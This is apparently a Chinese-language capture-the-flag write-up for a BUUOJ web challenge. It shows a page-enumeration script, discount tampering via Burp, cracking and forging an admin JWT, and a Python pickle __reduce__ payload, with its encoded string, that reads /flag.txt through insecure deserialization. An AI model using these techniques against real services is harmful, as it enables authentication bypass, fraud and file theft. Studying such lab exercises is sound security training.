知识点:JWT,python反序列化,pickle,__reduce__魔术方程.
文章目录
解题过程
1. 注册账号,然后登录
这里我是随便注册了账号,账号和密码都是555
2. 找到lv6.png
进入主站,提示我们要找到lv6.png
这个使用一个python脚本,在page=181的时候存在lv6.png。
#encoding:utf-8
import requests
import base64
s = requests.session()
url = "http://7d50688f-e416-4b48-a04e-48130e08c01a.node3.buuoj.cn/shop?page="
for i in range(1,500):
url2 = url + str(i)
ra = s.get(url = url2)
if "lv6.png" in ra.text:
print(i)
3. 使用burpsuite抓包,修改discount
去购买这个lv6的账号
我们的本金只有1000,不是很够,可以通过进行抓包,修改discount(折扣)解决
然后提示/b1g_m4mber
4. JWT
4.1 JWT是个啥?
推荐一个讲解JWY的文章 认识JWT
个人理解:JWT和session有相似的地方,可以比较着进行理解。
JWT由三个部分组成,分别为header
,payload
,signature
,每个部分直接使用.
进行连接。一个典型的JWT是这样的xxxxx.yyyyy.zzzzz
。在本题中,JWT是这样的
再来看本题,继续访问/b1g_m4mber,提示需要admin才能访问
那么就需要修改我们的JWT信息,来进行绕过。
将JWT进行base64解码,可以看到前半部分,包括用户名,编码方式,然而后半部分的密钥显示乱码,这就需要一些操作来得到密钥。
4.2 c-jwt-cracker工具
在下面的超链接是gitee的一个文件,下载下来。
P4stry / c-jwt-cracker
在该目录下打开终端,执行如下命令
apt-get install libssl-dev
make
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjU1NSJ9.3XoV8x-UuWSIk9lJj002LpELYQphrgttlbuSm2ysSwE
得到密钥
1Kun
4.3 伪造JWT
JWT伪造工具
将username数值替换为admin,将密钥改为1Kun,即可得到伪造后的JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
4.4 抓包替换JWT
将伪造好的JWT替换原来的JWT
5. python反序列化
进来之后,查看f12,发现下载链接。
下载之后,在源码中发现admin.py中有python反序列化。
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":#验证是否账户时是admin,这也是上面我们为什么要进行JWT伪造的原因
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated#自动验证登录信息
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))#对传入的become进行操作
return self.render('form.html', res=p, member=1)#向form.html传递参数
except:
return self.render('form.html', res='This is Black Technology!', member=0)
这里有个可以利用的地方就是
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
服务端会对我们传入的become参数进行操作,并且用到pickle这个东西,我们可以利用其进行文件读取,并将flag传回form.html中。
这里摘录下大佬的文章,Python魔法方法指南
同时还有关于pickle和reduce实例用法的链接:在pickle模块的情况下,reduce函数是如何工作的?
在python2的环境下运行become.py
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
得到字符串become
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
最后将得到的字符串替换become
即可得到flag